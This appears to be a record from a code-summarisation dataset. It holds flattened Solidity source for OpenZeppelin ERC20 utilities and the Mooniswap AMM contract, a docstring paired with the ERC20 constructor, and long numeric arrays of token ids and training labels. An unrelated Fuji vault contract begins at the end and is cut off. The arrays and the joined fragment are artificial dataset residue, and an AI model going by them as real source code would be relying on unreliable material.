* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/libraries/UniERC20.sol
pragma solidity ^0.6.0;
library UniERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function isETH(IERC20 token) internal pure returns(bool) {
return (address(token) == address(0));
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(IERC20 token, address payable to, uint256 amount) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniTransferFromSenderToThis(IERC20 token, uint256 amount) internal {
if (amount > 0) {
if (isETH(token)) {
require(msg.value >= amount, "UniERC20: not enough value");
if (msg.value > amount) {
// Return remainder if exist
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(msg.sender, address(this), amount);
}
}
}
function uniSymbol(IERC20 token) internal view returns(string memory) {
if (isETH(token)) {
return "ETH";
}
(bool success, bytes memory data) = address(token).staticcall{ gas: 20000 }(
abi.encodeWithSignature("symbol()")
);
if (!success) {
(success, data) = address(token).staticcall{ gas: 20000 }(
abi.encodeWithSignature("SYMBOL()")
);
}
if (success && data.length >= 96) {
(uint256 offset, uint256 len) = abi.decode(data, (uint256, uint256));
if (offset == 0x20 && len > 0 && len <= 256) {
return string(abi.decode(data, (bytes)));
}
}
if (success && data.length == 32) {
uint len = 0;
while (len < data.length && data[len] >= 0x20 && data[len] <= 0x7E) {
len++;
}
if (len > 0) {
bytes memory result = new bytes(len);
for (uint i = 0; i < len; i++) {
result[i] = data[i];
}
return string(result);
}
}
return _toHex(address(token));
}
function _toHex(address account) private pure returns(string memory) {
return _toHex(abi.encodePacked(account));
}
function _toHex(bytes memory data) private pure returns(string memory) {
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
uint j = 2;
for (uint i = 0; i < data.length; i++) {
uint a = uint8(data[i]) >> 4;
uint b = uint8(data[i]) & 0x0f;
str[j++] = byte(uint8(a + 48 + (a/10)*39));
str[j++] = byte(uint8(b + 48 + (b/10)*39));
}
return string(str);
}
}
// File: contracts/libraries/Sqrt.sol
pragma solidity ^0.6.0;
library Sqrt {
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256) {
if (y > 3) {
uint256 z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
return z;
} else if (y != 0) {
return 1;
} else {
return 0;
}
}
}
// File: contracts/Mooniswap.sol
pragma solidity ^0.6.0;
interface IFactory {
function fee() external view returns(uint256);
}
library VirtualBalance {
using SafeMath for uint256;
struct Data {
uint216 balance;
uint40 time;
}
uint256 public constant DECAY_PERIOD = 5 minutes;
function set(VirtualBalance.Data storage self, uint256 balance) internal {
self.balance = uint216(balance);
self.time = uint40(block.timestamp);
}
function update(VirtualBalance.Data storage self, uint256 realBalance) internal {
set(self, current(self, realBalance));
}
function scale(VirtualBalance.Data storage self, uint256 realBalance, uint256 num, uint256 denom) internal {
set(self, current(self, realBalance).mul(num).add(denom.sub(1)).div(denom));
}
function current(VirtualBalance.Data memory self, uint256 realBalance) internal view returns(uint256) {
uint256 timePassed = Math.min(DECAY_PERIOD, block.timestamp.sub(self.time));
uint256 timeRemain = DECAY_PERIOD.sub(timePassed);
return uint256(self.balance).mul(timeRemain).add(
realBalance.mul(timePassed)
).div(DECAY_PERIOD);
}
}
contract Mooniswap is ERC20, ReentrancyGuard, Ownable {
using Sqrt for uint256;
using SafeMath for uint256;
using UniERC20 for IERC20;
using VirtualBalance for VirtualBalance.Data;
struct Balances {
uint256 src;
uint256 dst;
}
struct SwapVolumes {
uint128 confirmed;
uint128 result;
}
event Deposited(
address indexed account,
uint256 amount
);
event Withdrawn(
address indexed account,
uint256 amount
);
event Swapped(
address indexed account,
address indexed src,
address indexed dst,
uint256 amount,
uint256 result,
uint256 srcBalance,
uint256 dstBalance,
uint256 totalSupply,
address referral
);
uint256 public constant REFERRAL_SHARE = 20; // 1/share = 5% of LPs revenue
uint256 public constant BASE_SUPPLY = 1000; // Total supply on first deposit
uint256 public constant FEE_DENOMINATOR = 1e18;
IFactory public factory;
IERC20[] public tokens;
mapping(IERC20 => bool) public isToken;
mapping(IERC20 => SwapVolumes) public volumes;
mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForAddition;
mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForRemoval;
constructor(IERC20[] memory assets, string memory name, string memory symbol) public ERC20(name, symbol) {
require(bytes(name).length > 0, "Mooniswap: name is empty");
require(bytes(symbol).length > 0, "Mooniswap: symbol is empty");
require(assets.length == 2, "Mooniswap: only 2 tokens allowed");
factory = IFactory(msg.sender);
tokens = assets;
for (uint i = 0; i < assets.length; i++) {
require(!isToken[assets[i]], "Mooniswap: duplicate tokens");
isToken[assets[i]] = true;
}
}
function fee() public view returns(uint256) {
return factory.fee();
}
function getTokens() external view returns(IERC20[] memory) {
return tokens;
}
function decayPeriod() external pure returns(uint256) {
return VirtualBalance.DECAY_PERIOD;
}
function getBalanceForAddition(IERC20 token) public view returns(uint256) {
uint256 balance = token.uniBalanceOf(address(this));
return Math.max(virtualBalancesForAddition[token].current(balance), balance);
}
function getBalanceForRemoval(IERC20 token) public view returns(uint256) {
uint256 balance = token.uniBalanceOf(address(this));
return Math.min(virtualBalancesForRemoval[token].current(balance), balance);
}
function getReturn(IERC20 src, IERC20 dst, uint256 amount) external view returns(uint256) {
return _getReturn(src, dst, amount, getBalanceForAddition(src), getBalanceForRemoval(dst));
}
function deposit(uint256[] calldata amounts, uint256[] calldata minAmounts) external payable nonReentrant returns(uint256 fairSupply) {
IERC20[] memory _tokens = tokens;
require(amounts.length == _tokens.length, "Mooniswap: wrong amounts length");
require(msg.value == (_tokens[0].isETH() ? amounts[0] : (_tokens[1].isETH() ? amounts[1] : 0)), "Mooniswap: wrong value usage");
uint256[] memory realBalances = new uint256[](amounts.length);
for (uint i = 0; i < realBalances.length; i++) {
realBalances[i] = _tokens[i].uniBalanceOf(address(this)).sub(_tokens[i].isETH() ? msg.value : 0);
}
uint256 totalSupply = totalSupply();
if (totalSupply == 0) {
fairSupply = BASE_SUPPLY.mul(99);
_mint(address(this), BASE_SUPPLY); // Donate up to 1%
// Use the greatest token amount but not less than 99k for the initial supply
for (uint i = 0; i < amounts.length; i++) {
fairSupply = Math.max(fairSupply, amounts[i]);
}
}
else {
// Pre-compute fair supply
fairSupply = type(uint256).max;
for (uint i = 0; i < amounts.length; i++) {
fairSupply = Math.min(fairSupply, totalSupply.mul(amounts[i]).div(realBalances[i]));
}
}
uint256 fairSupplyCached = fairSupply;
for (uint i = 0; i < amounts.length; i++) {
require(amounts[i] > 0, "Mooniswap: amount is zero");
uint256 amount = (totalSupply == 0) ? amounts[i] :
realBalances[i].mul(fairSupplyCached).add(totalSupply - 1).div(totalSupply);
require(amount >= minAmounts[i], "Mooniswap: minAmount not reached");
_tokens[i].uniTransferFromSenderToThis(amount);
if (totalSupply > 0) {
uint256 confirmed = _tokens[i].uniBalanceOf(address(this)).sub(realBalances[i]);
fairSupply = Math.min(fairSupply, totalSupply.mul(confirmed).div(realBalances[i]));
}
}
if (totalSupply > 0) {
for (uint i = 0; i < amounts.length; i++) {
virtualBalancesForRemoval[_tokens[i]].scale(realBalances[i], totalSupply.add(fairSupply), totalSupply);
virtualBalancesForAddition[_tokens[i]].scale(realBalances[i], totalSupply.add(fairSupply), totalSupply);
}
}
require(fairSupply > 0, "Mooniswap: result is not enough");
_mint(msg.sender, fairSupply);
emit Deposited(msg.sender, fairSupply);
}
function withdraw(uint256 amount, uint256[] memory minReturns) external nonReentrant {
uint256 totalSupply = totalSupply();
_burn(msg.sender, amount);
for (uint i = 0; i < tokens.length; i++) {
IERC20 token = tokens[i];
uint256 preBalance = token.uniBalanceOf(address(this));
uint256 value = preBalance.mul(amount).div(totalSupply);
token.uniTransfer(msg.sender, value);
require(i >= minReturns.length || value >= minReturns[i], "Mooniswap: result is not enough");
virtualBalancesForAddition[token].scale(preBalance, totalSupply.sub(amount), totalSupply);
virtualBalancesForRemoval[token].scale(preBalance, totalSupply.sub(amount), totalSupply);
}
emit Withdrawn(msg.sender, amount);
}
function swap(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral) external payable nonReentrant returns(uint256 result) {
require(msg.value == (src.isETH() ? amount : 0), "Mooniswap: wrong value usage");
Balances memory balances = Balances({
src: src.uniBalanceOf(address(this)).sub(src.isETH() ? msg.value : 0),
dst: dst.uniBalanceOf(address(this))
});
// catch possible airdrops and external balance changes for deflationary tokens
uint256 srcAdditionBalance = Math.max(virtualBalancesForAddition[src].current(balances.src), balances.src);
uint256 dstRemovalBalance = Math.min(virtualBalancesForRemoval[dst].current(balances.dst), balances.dst);
src.uniTransferFromSenderToThis(amount);
uint256 confirmed = src.uniBalanceOf(address(this)).sub(balances.src);
result = _getReturn(src, dst, confirmed, srcAdditionBalance, dstRemovalBalance);
require(result > 0 && result >= minReturn, "Mooniswap: return is not enough");
dst.uniTransfer(msg.sender, result);
// Update virtual balances to the same direction only at imbalanced state
if (srcAdditionBalance != balances.src) {
virtualBalancesForAddition[src].set(srcAdditionBalance.add(confirmed));
}
if (dstRemovalBalance != balances.dst) {
virtualBalancesForRemoval[dst].set(dstRemovalBalance.sub(result));
}
// Update virtual balances to the opposite direction
virtualBalancesForRemoval[src].update(balances.src);
virtualBalancesForAddition[dst].update(balances.dst);
if (referral != address(0)) {
uint256 invariantRatio = uint256(1e36);
invariantRatio = invariantRatio.mul(balances.src.add(confirmed)).div(balances.src);
invariantRatio = invariantRatio.mul(balances.dst.sub(result)).div(balances.dst);
if (invariantRatio > 1e36) {
// calculate share only if invariant increased
uint256 referralShare = invariantRatio.sqrt().sub(1e18).mul(totalSupply()).div(1e18).div(REFERRAL_SHARE);
if (referralShare > 0) {
_mint(referral, referralShare);
}
}
}
emit Swapped(msg.sender, address(src), address(dst), confirmed, result, balances.src, balances.dst, totalSupply(), referral);
// Overflow of uint128 is desired
volumes[src].confirmed += uint128(confirmed);
volumes[src].result += uint128(result);
}
function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner {
uint256[] memory balances = new uint256[](tokens.length);
for (uint i = 0; i < balances.length; i++) {
balances[i] = tokens[i].uniBalanceOf(address(this));
}
token.uniTransfer(msg.sender, amount);
for (uint i = 0; i < balances.length; i++) {
require(tokens[i].uniBalanceOf(address(this)) >= balances[i], "Mooniswap: access denied");
}
require(balanceOf(address(this)) >= BASE_SUPPLY, "Mooniswap: access denied");
}
function _getReturn(IERC20 src, IERC20 dst, uint256 amount, uint256 srcBalance, uint256 dstBalance) internal view returns(uint256) {
if (isToken[src] && isToken[dst] && src != dst && amount > 0) {
uint256 taxedAmount = amount.sub(amount.mul(fee()).div(FEE_DENOMINATOR));
return taxedAmount.mul(dstBalance).div(srcBalance.add(taxedAmount));
}
}
} | * @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./ | constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
| 5,515,347 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5779,
11643,
288,
31734,
97,
598,
279,
805,
460,
434,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
5779,
999,
288,
67,
8401,
31809,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
203,
3639,
389,
529,
273,
508,
31,
203,
203,
3639,
389,
7175,
273,
3273,
31,
203,
203,
3639,
389,
31734,
273,
6549,
31,
203,
203,
565,
289,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDT is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
